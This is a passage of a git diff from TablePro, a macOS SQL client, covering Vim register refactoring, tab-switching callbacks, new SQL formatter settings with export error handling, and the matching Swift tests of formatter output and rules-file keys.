max(0, contentEnd - pos)) guard deleteCount > 0 else { setMode(.insert); return } let range = NSRange(location: pos, length: deleteCount) - register.text = buffer.string(in: range) - register.isLinewise = false - register.syncToPasteboard() + writeToActiveRegister(text: buffer.string(in: range), linewise: false, asDelete: true) buffer.replaceCharacters(in: range, with: "") buffer.setSelectedRange(NSRange(location: pos, length: 0)) setMode(.insert) diff --git a/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift b/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift index f0a50e5c70..6b72f1d6b7 100644 --- a/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift +++ b/apple/TablePro/Core/Vim/VimEngine+RegistersMarks.swift @@ -7,6 +7,10 @@ import Foundation extension VimEngine { func writeToActiveRegister(text: String, linewise: Bool, asDelete: Bool) { + if selectedRegister == "_" { + selectedRegister = nil + return + } let entry = VimRegister(text: text, isLinewise: linewise) register = entry register.syncToPasteboard() @@ -18,7 +22,7 @@ extension VimEngine { } else { numberedRegisters[0] = entry } - if let name = selectedRegister, name != "_" { + if let name = selectedRegister { let isAppend = name.isUppercase let key: Character = isAppend ? Character(name.lowercased()) : name if isAppend, let existing = namedRegisters[key], !existing.text.isEmpty { diff --git a/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift b/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift index d7c1ebe5cb..55c7a9aaae 100644 --- a/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift +++ b/apple/TablePro/Core/Vim/VimEngine+VisualMode.swift @@ -160,9 +160,7 @@ extension VimEngine { case "c": let sel = buffer.selectedRange() if sel.length > 0 { - register.text = buffer.string(in: sel) - register.isLinewise = isLinewise - register.syncToPasteboard() + writeToActiveRegister(text: buffer.string(in: sel), linewise: isLinewise, asDelete: true) if isLinewise { let trimmed = sel.length > 0 && sel.location + sel.length - 1 < buffer.length diff --git a/apple/TablePro/Core/Vim/VimRegister.swift b/apple/TablePro/Core/Vim/VimRegister.swift index 2483e922ac..4b14fe3759 100644 --- a/apple/TablePro/Core/Vim/VimRegister.swift +++ b/apple/TablePro/Core/Vim/VimRegister.swift @@ -2,23 +2,16 @@ // VimRegister.swift // TablePro // -// Vim register for storing yanked/deleted text -// -import AppKit +import Foundation -/// Vim register for yank/delete/paste operations struct VimRegister { - /// The stored text content var text: String = "" - - /// Whether the text was yanked/deleted linewise (entire lines) var isLinewise: Bool = false - /// Sync the register content to the system pasteboard + @MainActor func syncToPasteboard() { guard !text.isEmpty else { return } - NSPasteboard.general.clearContents() - NSPasteboard.general.setString(text, forType: .string) + ClipboardService.shared.writeText(text) } } diff --git a/apple/TablePro/Models/Query/QueryTabManager.swift b/apple/TablePro/Models/Query/QueryTabManager.swift index 4202f2df36..da30ee518a 100644 --- a/apple/TablePro/Models/Query/QueryTabManager.swift +++ b/apple/TablePro/Models/Query/QueryTabManager.swift @@ -192,7 +192,9 @@ final class QueryTabManager: ObservableObject { guard !strip.isEmpty else { return nil } let current = selectedTab.flatMap { tab in strip.firstIndex { $0.id == tab.id } } ?? 0 let count = strip.count - return strip[((current + offset) % count + count) % count].id + // Reduced before it is added, so no offset can overflow. + let step = offset % count + return strip[((current + step) % count + count) % count].id } // MARK: - Recency diff --git a/apple/TablePro/Models/Settings/SQLFormatterSettings.swift b/apple/TablePro/Models/Settings/SQLFormatterSettings.swift index 9fa00e6e35..60470caeb8 100644 --- a/apple/TablePro/Models/Settings/SQLFormatterSettings.swift +++ b/apple/TablePro/Models/Settings/SQLFormatterSettings.swift @@ -45,6 +45,22 @@ struct SQLFormatterSettings: Codable, Equatable { return options } + // The keys 0.83 stored and synced, so a Mac on either build reads the other's settings. A rules file uses + // sql-formatter's names instead (`SQLFormatterRulesFile`). + enum RuleKeys: String, CodingKey, CaseIterable { + case indentStyle + case indentWidth + case keywordCase + case functionCase + case commaPosition + case lineWidth + case joinCondition + case alignAliases + case clauseItems + case logicalOperatorNewline + case dataTypeCase + } + private enum FollowKeys: String, CodingKey { case indentFollowsTabWidth case keywordCaseFollowsEditor @@ -52,7 +68,7 @@ struct SQLFormatterSettings: Codable, Equatable { // Lenient, like every synced settings blob: a value this build cannot read costs only that field. init(from decoder: Decoder) throws { - let container = try decoder.container(keyedBy: SQLFormatterOptions.CodingKeys.self) + let container = try decoder.container(keyedBy: RuleKeys.self) let follow = try decoder.container(keyedBy: FollowKeys.self) let fallback = SQLFormatterOptions.default var rules = SQLFormatterOptions() @@ -72,6 +88,11 @@ struct SQLFormatterSettings: Codable, Equatable { ) rules.joinCondition = container.decodeSetting(.joinCondition, default: fallback.joinCondition) rules.alignAliases = container.decodeSetting(.alignAliases, default: fallback.alignAliases) + rules.clauseItems = container.decodeSetting(.clauseItems, default: fallback.clauseItems) + rules.logicalOperatorNewline = container.decodeSetting( + .logicalOperatorNewline, default: fallback.logicalOperatorNewline + ) + rules.dataTypeCase = container.decodeSetting(.dataTypeCase, default: fallback.dataTypeCase) self.rules = rules let defaults = Self.default indentFollowsTabWidth = follow.decodeSetting(.indentFollowsTabWidth, default: defaults.indentFollowsTabWidth) @@ -81,7 +102,18 @@ struct SQLFormatterSettings: Codable, Equatable { } func encode(to encoder: Encoder) throws { - try rules.encode(to: encoder) + var container = encoder.container(keyedBy: RuleKeys.self) + try container.encode(rules.indentStyle, forKey: .indentStyle) + try container.encode(rules.indentWidth, forKey: .indentWidth) + try container.encode(rules.keywordCase, forKey: .keywordCase) + try container.encode(rules.functionCase, forKey: .functionCase) + try container.encode(rules.commaPosition, forKey: .commaPosition) + try container.encode(rules.lineWidth, forKey: .lineWidth) + try container.encode(rules.joinCondition, forKey: .joinCondition) + try container.encode(rules.alignAliases, forKey: .alignAliases) + try container.encode(rules.clauseItems, forKey: .clauseItems) + try container.encode(rules.logicalOperatorNewline, forKey: .logicalOperatorNewline) + try container.encode(rules.dataTypeCase, forKey: .dataTypeCase) var follow = encoder.container(keyedBy: FollowKeys.self) try follow.encode(indentFollowsTabWidth, forKey: .indentFollowsTabWidth) try follow.encode(keywordCaseFollowsEditor, forKey: .keywordCaseFollowsEditor) diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings index adfb8a9735..bc4bbdf99c 100644 --- a/apple/TablePro/Resources/Localizable.xcstrings +++ b/apple/TablePro/Resources/Localizable.xcstrings @@ -25321,6 +25321,9 @@ }, "And %lld more" : { + }, + "AND and OR:" : { + }, "And one that will run after this session ends:\n\n%@" : { @@ -31635,6 +31638,12 @@ "Bell" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "Below the keyword" : { + + }, + "Beside the keyword" : { + }, "Betas get new features first. Turning this off keeps the beta you have until a newer release ships." : { @@ -39391,6 +39400,9 @@ } } } + }, + "Clause items:" : { + }, "Clear" : { "localizations" : { @@ -54555,6 +54567,9 @@ }, "Couldn't Duplicate the Theme" : { + }, + "Couldn't Export Formatter Rules" : { + }, "Couldn't Export the Theme" : { @@ -58180,6 +58195,9 @@ }, "Data type" : { + }, + "Data type case:" : { + }, "data type negotiation" : { "extractionState" : "manual", @@ -71793,6 +71811,9 @@ }, "Engines that match function names by exact case, such as ClickHouse, keep the case you typed." : { + }, + "Engines that match type names by exact case, such as ClickHouse, keep the case you typed." : { + }, "Enter a _key for the new row. Bigtable has no generated keys." : { "extractionState" : "manual", @@ -188327,6 +188348,9 @@ } } } + }, + "The query is larger than %@, too large to format." : { + }, "The query names its own output format, %@. Remove its FORMAT clause to read it as rows." : { "extractionState" : "manual", @@ -211441,6 +211465,9 @@ } } } + }, + "Where AND and OR go when a WHERE or HAVING condition breaks across lines." : { + }, "WHERE clause" : { "localizations" : { @@ -211481,6 +211508,9 @@ } } } + }, + "Where the items of a SELECT list, SET list, WITH list, or WHERE or HAVING condition start once it breaks across lines. A single item stays beside its keyword." : { + }, "Whether a session is open" : { "localizations" : { diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift index 5afcebd0d1..0d0d766a44 100644 --- a/apple/TablePro/Views/Editor/SQLEditorController.swift +++ b/apple/TablePro/Views/Editor/SQLEditorController.swift @@ -31,6 +31,9 @@ struct SQLEditorInput { var onFoldRangesChanged: (([Range]) -> Void)? var onCloseTab: (() -> Void)? var onExecuteQuery: (() -> Void)? + var onSelectTab: ((Int) -> Void)? + var onSelectAdjacentTab: ((Int) -> Void)? + var tabCount: (() -> Int)? var onRunStatement: ((String, Int) -> Bool)? /// A tab runs one thing at a time, so the gutter's run controls go dim for the length of a query. var isExecuting = false @@ -133,6 +136,9 @@ final class SQLEditorController { private func applyInput(_ input: SQLEditorInput) { coordinator.onCloseTab = input.onCloseTab coordinator.onExecuteQuery = input.onExecuteQuery + coordinator.onSelectTab = input.onSelectTab + coordinator.onSelectAdjacentTab = input.onSelectAdjacentTab + coordinator.tabCount = input.tabCount coordinator.onRunStatement = input.onRunStatement coordinator.setStatementRunControlsEnabled(!input.isExecuting) coordinator.setStatementHighlightEnabled(AppSettingsManager.shared.editor.highlightCurrentStatement) diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift index 6a5697d164..7cf0d9684e 100644 --- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift +++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift @@ -115,6 +115,9 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie private var vimCursorManager: VimCursorManager? var onCloseTab: (() -> Void)? var onExecuteQuery: (() -> Void)? + var onSelectTab: ((Int) -> Void)? + var onSelectAdjacentTab: ((Int) -> Void)? + var tabCount: (() -> Int)? var onRunStatement: ((String, Int) -> Bool)? var currentAIAvailability: (() -> AIQueryActionAvailability)? var onAIAction: ((AIQueryAction, AIQueryTarget) -> Void)? @@ -323,6 +326,9 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie releaseWindowSentinel() onCloseTab = nil onExecuteQuery = nil + onSelectTab = nil + onSelectAdjacentTab = nil + tabCount = nil onRunStatement = nil statementRunController.onRun = nil statementRunController.clear(in: controller) @@ -481,15 +487,15 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie guard let textView = controller?.textView else { return } let formatter: QueryFormatting do { - guard let made = try QueryFormatterFactory.make(for: databaseType, sourceFileURL: sourceFileURL) else { return } + guard let made = try QueryFormatterFactory.make( + for: databaseType, + sourceFileURL: sourceFileURL, + grammar: formatGrammar + ) else { return } formatter = made } catch { Self.logger.error("Formatter rules unreadable: \(error.publicLogShape, privacy: .public)") - AlertHelper.showErrorSheet( - title: String(localized: "Couldn't Format Query"), - message: error.localizedDescription, - window: textView.window - ) + showFormatError(error, in: textView.window) return } let scope = FormatScopeResolver.resolve( @@ -513,9 +519,24 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie controller?.setCursorPositions([CursorPosition(range: NSRange(location: caretLocation, length: 0))]) } catch { Self.logger.error("SQL Formatting error: \(error.publicLogShape, privacy: .public)") + showFormatError(error, in: textView.window) } } + private var formatGrammar: SQLLexicalGrammar? { + guard let databaseType else { return nil } + guard let connectionId else { return databaseType.lexicalGrammar } + return SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId) + } + + private func showFormatError(_ error: Error, in window: NSWindow?) { + AlertHelper.showErrorSheet( + title: String(localized: "Couldn't Format Query"), + message: error.localizedDescription, + window: window + ) + } + // MARK: - Inline Suggestion Manager private func installInlineSuggestionManager(controller: TextViewController) { @@ -666,6 +687,15 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie commandHandler.onCloseTab = { [weak self] in self?.onCloseTab?() } + commandHandler.onSelectTab = { [weak self] number in + self?.onSelectTab?(number) + } + commandHandler.onSelectAdjacentTab = { [weak self] offset in + self?.onSelectAdjacentTab?(offset) + } + commandHandler.tabCount = { [weak self] in + self?.tabCount?() ?? 0 + } engine.onCommand = { [weak self] command in self?.commandHandler.handle(command) } diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift index dda24f010d..cc43f560dd 100644 --- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift +++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift @@ -1206,6 +1206,9 @@ extension MainEditorContentView { coordinator.commandActions?.closeTab() }, onExecuteQuery: { coordinator.runQuery(viewport: .firstRow) }, + onSelectTab: { number in coordinator.commandActions?.selectTab(number: number) }, + onSelectAdjacentTab: { offset in coordinator.commandActions?.selectTab(offsetBy: offset) }, + tabCount: { coordinator.tabManager.visibleTabs.count }, onRunStatement: { sql, offset in coordinator.runStatement(sql, sourceOffset: offset) }, isExecuting: isExecuting, currentAIAvailability: { coordinator.aiQueryActionAvailability }, diff --git a/apple/TablePro/Views/Settings/Sections/FormatterSection.swift b/apple/TablePro/Views/Settings/Sections/FormatterSection.swift index 233884d11e..24ff238f25 100644 --- a/apple/TablePro/Views/Settings/Sections/FormatterSection.swift +++ b/apple/TablePro/Views/Settings/Sections/FormatterSection.swift @@ -15,7 +15,7 @@ struct FormatterSection: View { private static let previewSQL = """ select u.id as user_id, u.name as user_name, count(o.id) as order_count \ from users u left join orders o on u.id = o.user_id \ - where u.status = 'active' and o.created_at >= '2026-01-01' \ + where u.status = 'active' and cast(o.created_at as date) >= '2026-01-01' \ group by u.id, u.name order by order_count desc; """ private static let indentWidths = [2, 4, 8] @@ -28,6 +28,7 @@ struct FormatterSection: View { @State private var isImporting = false @State private var exportDocument: SQLFormatterRulesDocument? @State private var importError: String? + @State private var exportError: String? private enum IndentWidthChoice: Hashable { case tabWidth @@ -65,16 +66,35 @@ struct FormatterSection: View { } } .help(Text("Engines that match function names by exact case, such as ClickHouse, keep the case you typed.")) + Picker("Data type case:", selection: $settings.rules.dataTypeCase) { + ForEach(SQLFormatterCase.allCases, id: \.self) { formatterCase in + Text(caseName(formatterCase)).tag(formatterCase) + } + } + .help(Text("Engines that match type names by exact case, such as ClickHouse, keep the case you typed.")) Picker("Commas:", selection: $settings.rules.commaPosition) { Text("At the end of the line").tag(SQLFormatterCommaPosition.trailing) Text("At the start of the line").tag(SQLFormatterCommaPosition.leading) } + Picker("AND and OR:", selection: $settings.rules.logicalOperatorNewline) { + Text("At the start of the line").tag(SQLFormatterLogicalOperatorNewline.before) + Text("At the end of the line").tag(SQLFormatterLogicalOperatorNewline.after) + } + .help(Text("Where AND and OR go when a WHERE or HAVING condition breaks across lines.")) Picker("Line width:", selection: $settings.rules.lineWidth) { ForEach(Self.options(Self.lineWidths, including: settings.rules.lineWidth), id: \.self) { width in Text(lineWidthName(width)).tag(width) } } .help(Text("A SELECT list, SET list or WHERE condition that fits in this width stays on one line.")) + Picker("Clause items:", selection: $settings.rules.clauseItems) { + Text("Beside the keyword").tag(SQLFormatterClauseItems.sameLine) + Text("Below the keyword").tag(SQLFormatterClauseItems.newLine) + } + .help(Text(""" + Where the items of a SELECT list, SET list, WITH list, or WHERE or HAVING condition start once it \ + breaks across lines. A single item stays beside its keyword. + """)) Picker("Join condition:", selection: $settings.rules.joinCondition) { Text("On its own line").tag(SQLFormatterJoinCondition.newLine) Text("On the JOIN line").tag(SQLFormatterJoinCondition.sameLine) @@ -95,7 +115,11 @@ struct FormatterSection: View { document: exportDocument, contentType: .json, defaultFilename: SQLFormatterRulesFile.exportFileName - ) { _ in } + ) { result in + if case .failure(let error) = result, (error as? CocoaError)?.code != .userCancelled { + reportExportFailure(error) + } + } Button("Restore Defaults") { settings = .default } .disabled(settings == .default) } @@ -116,6 +140,15 @@ struct FormatterSection: View { } message: { message in Text(message) } + .alert( + String(localized: "Couldn't Export Formatter Rules"), + isPresented: isShowingExportError, + presenting: exportError + ) { _ in + Button(String(localized: "OK")) {} + } message: { message in + Text(message) + } } // MARK: - Preview @@ -207,6 +240,10 @@ struct FormatterSection: View { Binding(get: { importError != nil }, set: { if !$0 { importError = nil } }) } + private var isShowingExportError: Binding { + Binding(get: { exportError != nil }, set: { if !$0 { exportError = nil } }) + } + // MARK: - Import and export private func importRules(_ result: Result) { @@ -226,10 +263,15 @@ struct FormatterSection: View { do { exportDocument = SQLFormatterRulesDocument(data: try SQLFormatterRulesFile.encode(settings.options(for: editor))) } catch { - Self.logger.error("Formatter rules export failed: \(error.publicLogShape, privacy: .public)") + reportExportFailure(error) } } + private func reportExportFailure(_ error: Error) { + Self.logger.error("Formatter rules export failed: \(error.publicLogShape, privacy: .public)") + exportError = error.localizedDescription + } + // MARK: - Labels private var editorKeywordCase: SQLFormatterCase { diff --git a/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift b/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift index f471badf13..c3983cc79b 100644 --- a/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift +++ b/apple/TableProTests/Core/Services/Formatting/SQLFormatterRulesTests.swift @@ -19,9 +19,17 @@ struct SQLFormatterRulesTests { commaPosition: .leading, lineWidth: 100, joinCondition: .sameLine, - alignAliases: true + alignAliases: true, + clauseItems: .newLine, + logicalOperatorNewline: .after, + dataTypeCase: .upper ) + // sql-formatter's `removedOptions` (src/validateConfig.ts): a file holding one makes it throw. + private static let keysSQLFormatterRefuses: Set = [ + "multilineLists", "newlineBeforeOpenParen", "newlineBeforeCloseParen", "aliasAs", "commaPosition", "tabulateAlias", + ] + private func decode(_ json: String) throws -> SQLFormatterOptions { try SQLFormatterRulesFile.decode(Data(json.utf8)) } @@ -38,11 +46,66 @@ struct SQLFormatterRulesTests { func fileWritesEveryKey() throws { let data = try SQLFormatterRulesFile.encode(.default) let object = try #require(try JSONSerialization.jsonObject(with: data) as? [String: Any]) - let everyKey = Set(SQLFormatterOptions.CodingKeys.allCases.map { $0.stringValue }) + let everyKey = Set(SQLFormatterRulesFile.Key.allCases.map { $0.stringValue }) #expect(Set(object.keys) == everyKey) - #expect(object["indentStyle"] as? String == "spaces") - #expect(object["commaPosition"] as? String == "trailing") + #expect(object["useTabs"] as? Bool == false) + #expect(object["tabWidth"] as? Int == 2) + #expect(object["commaPlacement"] as? String == "trailing") #expect(object["joinCondition"] as? String == "newLine") + #expect(object["logicalOperatorNewline"] as? String == "before") + } + + @Test("A file TablePro writes holds no key sql-formatter refuses, and every shared key holds a value it accepts") + func fileIsReadableBySQLFormatter() throws { + for options in [SQLFormatterOptions.default, Self.custom] { + let data = try SQLFormatterRulesFile.encode(options) + let object = try #require(try JSONSerialization.jsonObject(with: data) as? [String: Any]) + #expect(Set(object.keys).isDisjoint(with: Self.keysSQLFormatterRefuses)) + for key in ["keywordCase", "functionCase", "dataTypeCase"] { + #expect(["preserve", "upper", "lower"].contains(object[key] as? String ?? "")) + } + #expect(["before", "after"].contains(object["logicalOperatorNewline"] as? String ?? "")) + #expect((object["tabWidth"] as? Int ?? 0) > 0) + #expect(object["useTabs"] is Bool) + #expect(object["indentStyle"] == nil) + } + } + + @Test("A file written for sql-formatter is read, its shared rules applied and its own options ignored") + func sqlFormatterFileIsRead() throws { + let options = try decode(""" + { + "$schema": "https://raw.githubusercontent.com/sql-formatter-org/sql-formatter/master/schema.json", + "language": "postgresql", + "tabWidth": 4, + "useTabs": true, + "keywordCase": "lower", + "dataTypeCase": "upper", + "functionCase": "upper", + "identifierCase": "lower", + "indentStyle": "tabularLeft", + "logicalOperatorNewline": "after", + "expressionWidth": 50, + "linesBetweenQueries": 2, + "denseOperators": false, + "newlineBeforeSemicolon": false, + "params": ["a"], + "paramTypes": {"positional": true, "named": [":"]} + } + """) + var expected = SQLFormatterOptions.default + expected.indentStyle = .tabs + expected.indentWidth = 4 + expected.keywordCase = .lower + expected.dataTypeCase = .upper + expected.functionCase = .upper + expected.logicalOperatorNewline = .after + #expect(options == expected) + } + + @Test("Every indent style sql-formatter documents is read", arguments: ["standard", "tabularLeft", "tabularRight"]) + func sqlFormatterIndentStylesAreRead(style: String) throws { + #expect(try decode(#"{"indentStyle": "\#(style)", "tabWidth": 4}"#).indentWidth == 4) } @Test("A key the file leaves out takes the default") @@ -50,24 +113,34 @@ struct SQLFormatterRulesTests { #expect(try decode("{}") == .default) var expected = SQLFormatterOptions.default expected.commaPosition = .leading - #expect(try decode(#"{"commaPosition": "leading"}"#) == expected) + #expect(try decode(#"{"commaPlacement": "leading"}"#) == expected) + var operators = SQLFormatterOptions.default + operators.logicalOperatorNewline = .after + #expect(try decode(#"{"logicalOperatorNewline": "after"}"#) == operators) } - @Test("A key this build does not know is ignored") + @Test("A key this build does not know is ignored, sql-formatter's refused commaPosition included") func unknownKeysAreIgnored() throws { - let options = try decode(#"{"language": "postgresql", "indentWidth": 4}"#) + let options = try decode(#"{"language": "postgresql", "tabWidth": 4, "indentWidth": 8, "commaPosition": "leading"}"#) #expect(options.indentWidth == 4) + #expect(options.commaPosition == .trailing) } @Test( "A value this build cannot read names its key", arguments: [ (#"{"keywordCase": "title"}"#, "keywordCase"), - (#"{"indentWidth": 0}"#, "indentWidth"), - (#"{"indentWidth": 17}"#, "indentWidth"), - (#"{"indentWidth": "four"}"#, "indentWidth"), + (#"{"dataTypeCase": "title"}"#, "dataTypeCase"), + (#"{"tabWidth": 0}"#, "tabWidth"), + (#"{"tabWidth": 17}"#, "tabWidth"), + (#"{"tabWidth": "four"}"#, "tabWidth"), + (#"{"useTabs": "yes"}"#, "useTabs"), (#"{"lineWidth": -1}"#, "lineWidth"), (#"{"alignAliases": "yes"}"#, "alignAliases"), + (#"{"clauseItems": "below"}"#, "clauseItems"), + (#"{"logicalOperatorNewline": "end"}"#, "logicalOperatorNewline"), + (#"{"commaPlacement": "before"}"#, "commaPlacement"), + (#"{"indentStyle": "tabs"}"#, "indentStyle"), ] ) func invalidValueNamesKey(json: String, key: String) { @@ -120,6 +193,8 @@ struct SQLFormatterRulesTests { var rules = Self.custom rules.indentStyle = .spaces rules.lineWidth = 0 + rules.clauseItems = .sameLine + rules.logicalOperatorNewline = .before var firstEditor = EditorSettings.default firstEditor.tabWidth = 8 firstEditor.keywordCase = .upper @@ -177,11 +252,42 @@ struct SQLFormatterRulesTests { @Test("A stored formatter value this build cannot read costs only that field") func storedInvalidValueFallsBackAlone() throws { - let json = #"{"commaPosition": "leading", "indentWidth": 99, "keywordCase": "title"}"# + let json = #""" + {"commaPosition": "leading", "indentWidth": 99, "keywordCase": "title", + "clauseItems": "below", "logicalOperatorNewline": "after", "dataTypeCase": "title"} + """# let settings = try JSONDecoder().decode(SQLFormatterSettings.self, from: Data(json.utf8)) #expect(settings.rules.commaPosition == .leading) #expect(settings.rules.indentWidth == SQLFormatterOptions.default.indentWidth) #expect(settings.rules.keywordCase == SQLFormatterOptions.default.keywordCase) + #expect(settings.rules.clauseItems == SQLFormatterOptions.default.clauseItems) + #expect(settings.rules.logicalOperatorNewline == .after) + #expect(settings.rules.dataTypeCase == SQLFormatterOptions.default.dataTypeCase) + } + + @Test("Stored settings keep the keys 0.83 wrote, so either build reads the other's") + func storedSettingsKeepTheirKeys() throws { + let stored = #""" + {"alignAliases": true, "commaPosition": "leading", "functionCase": "upper", "indentStyle": "tabs", + "indentWidth": 4, "joinCondition": "sameLine", "keywordCase": "lower", "lineWidth": 80, + "indentFollowsTabWidth": false, "keywordCaseFollowsEditor": false} + """# + let settings = try JSONDecoder().decode(SQLFormatterSettings.self, from: Data(stored.utf8)) + let expected = SQLFormatterOptions( + indentStyle: .tabs, indentWidth: 4, keywordCase: .lower, functionCase: .upper, + commaPosition: .leading, lineWidth: 80, joinCondition: .sameLine, alignAliases: true + ) + #expect(settings.rules == expected) + + let written = try JSONEncoder().encode(settings) + let object = try #require(try JSONSerialization.jsonObject(with: written) as? [String: Any]) + let oldKeys: Set = [ + "alignAliases", "commaPosition", "functionCase", "indentStyle", "indentWidth", "joinCondition", "keywordCase", + "lineWidth", "indentFollowsTabWidth", "keywordCaseFollowsEditor", + ] + #expect(oldKeys.isSubset(of: Set(object.keys))) + #expect(object["indentStyle"] as? String == "tabs") + #expect(object["commaPosition"] as? String == "leading") } @Test("Formatter settings round-trip with both follow choices") @@ -256,7 +362,7 @@ struct SQLFormatterRulesTests { @Test("A file in a linked folder formats with the folder's rules, and other files with Settings") func ruleSourcePrefersFolderRules() throws { let sandbox = try Sandbox() - try sandbox.write("queries/.sql-formatter.json", #"{"commaPosition": "leading"}"#) + try sandbox.write("queries/.sql-formatter.json", #"{"commaPlacement": "leading"}"#) let file = try sandbox.write("queries/daily.sql") let folders = [sandbox.folder("queries")] var settings = SQLFormatterOptions.default @@ -283,7 +389,7 @@ struct SQLFormatterRulesTests { @Test("A rules file that is a symlink to a regular file is read") func symlinkToFileIsRead() throws { let sandbox = try Sandbox() - let target = try sandbox.write("shared/rules.json", #"{"indentWidth": 4}"#) + let target = try sandbox.write("shared/rules.json", #"{"tabWidth": 4}"#) let link = sandbox.root.appendingPathComponent(".sql-formatter.json") try FileManager.default.createSymbolicLink(at: link, withDestinationURL: target) #expect(try SQLFormatterRulesFile.load(from: link).indentWidth == 4) @@ -292,7 +398,7 @@ struct SQLFormatterRulesTests { @Test("An unreadable folder rules file refuses to format instead of using Settings") func unreadableFolderRulesThrow() throws { let sandbox = try Sandbox() - try sandbox.write("queries/.sql-formatter.json", #"{"indentWidth": "wide"}"#) + try sandbox.write("queries/.sql-formatter.json", #"{"tabWidth": "wide"}"#) let file = try sandbox.write("queries/daily.sql") #expect(throws: SQLFormatterFolderRulesError.self) { try SQLFormatterRuleSource.options( diff --git a/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift b/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift index 165362d51d..f95186b3c1 100644 --- a/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift +++ b/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift @@ -2,11 +2,10 @@ // SQLFormatterServiceTests.swift // TableProTests // -// Tests for SQLFormatterService — exact output assertions for every SQL construct. -// import Foundation import TableProPluginKit +import TableProSQLGrammar @testable import TablePro import Testing @@ -24,6 +23,19 @@ struct SQLFormatterServiceTests { return options } + private func expectFormat( + _ sql: String, + dialect: DatabaseType = .mysql, + options: SQLFormatterOptions = .default, + equals expected: String, + sourceLocation: SourceLocation = #_sourceLocation + ) throws { + let first = try formatter.format(sql, dialect: dialect, options: options).formattedSQL + #expect(first == expected, sourceLocation: sourceLocation) + let second = try formatter.format(first, dialect: dialect, options: options).formattedSQL + #expect(second == first, "a second pass changes the output", sourceLocation: sourceLocation) + } + // MARK: - Simple SELECT @Test("Simple SELECT *") @@ -444,15 +456,6 @@ struct SQLFormatterServiceTests { """) } - @Test("Window frame ROWS BETWEEN stays inline") - func windowFrameInline() throws { - let result = try format("select sum(x) over (order by id rows between unbounded preceding and current row) as running from t") - let lines = result.split(separator: "\n", omittingEmptySubsequences: false) - #expect(lines.count == 2) - #expect(lines[0].contains("ROWS BETWEEN")) - #expect(lines[1] == "FROM t") - } - // MARK: - Set Operations Inside Subqueries and CTEs @Test("UNION inside a derived table keeps nesting and closes on its own line") @@ -694,7 +697,7 @@ struct SQLFormatterServiceTests { #expect(result == """ CREATE TABLE t ( id int, - ts timestamp WITH time zone, + ts timestamp with time zone, name text CHARACTER SET utf8mb4, parent int REFERENCES p(id) ON DELETE CASCADE ) @@ -1002,6 +1005,1213 @@ struct SQLFormatterServiceTests { """) } + // MARK: - Lexing, layout and options + + @Test("ORDER BY first in OVER keeps its space before the column") + func windowOrderByFirst() throws { + try expectFormat( + "select row_number() over (order by id desc) as rn from t", + equals: """ + SELECT row_number() OVER(ORDER BY id DESC) AS rn + FROM t + """ + ) + } + + @Test("Window frame ROWS BETWEEN stays inline") + func windowFrameInline() throws { + try expectFormat( + "select sum(x) over (order by id rows between unbounded preceding and current row) as running from t", + equals: """ + SELECT sum(x) OVER(ORDER BY id ROWS BETWEEN unbounded preceding AND current row) AS running + FROM t + """ + ) + } + + @Test("WITHIN GROUP keeps its ORDER BY inline and the SELECT list open") + func withinGroupKeepsSelectList() throws { + try expectFormat( + "select percentile_cont(0.5) within group (order by salary) as p, dept from t group by dept", + equals: """ + SELECT percentile_cont(0.5) within GROUP (ORDER BY salary) AS p, + dept + FROM t + GROUP BY dept + """ + ) + } + + @Test("A comment between a paren and SELECT opens the subquery on its own lines") + func commentBeforeSubquerySelect() throws { + let sql = """ + select * from t where id in ( + -- only active + select id from u where active) + """ + try expectFormat( + sql, + equals: """ + SELECT * + FROM t + WHERE id IN ( + -- only active + SELECT id + FROM u + WHERE active + ) + """ + ) + } + + @Test("A block comment between EXISTS ( and SELECT keeps SELECT apart from its column") + func commentBeforeExistsSelect() throws { + try expectFormat( + "select * from t where exists (/* any */ select distinct id from u)", + dialect: .postgresql, + equals: """ + SELECT * + FROM t + WHERE EXISTS ( + /* any */ + SELECT DISTINCT id + FROM u + ) + """ + ) + } + + @Test("SQL Server bracket names keep their spelling and spaces") + func bracketIdentifiers() throws { + try expectFormat( + "select [order id], [group] from [my table] where [select] = 1", + dialect: .mssql, + equals: """ + SELECT [order id], + [group] + FROM [my table] + WHERE [select] = 1 + """ + ) + } + + @Test("A GO line stays a line of its own") + func batchSeparatorLine() throws { + let sql = """ + select 1 + GO + select 2 + """ + try expectFormat( + sql, + dialect: .mssql, + equals: """ + SELECT 1 + GO + SELECT 2 + """ + ) + } + + @Test("T-SQL temp tables and variables stay one word") + func tempTablesAndVariables() throws { + try expectFormat( + "select * from ##global where @@rowcount > 0 and x = @p and y in (select z from #tmp)", + dialect: .mssql, + equals: """ + SELECT * + FROM ##global + WHERE @@rowcount > 0 + AND x = @p + AND y IN ( + SELECT z + FROM #tmp + ) + """ + ) + } + + @Test("A 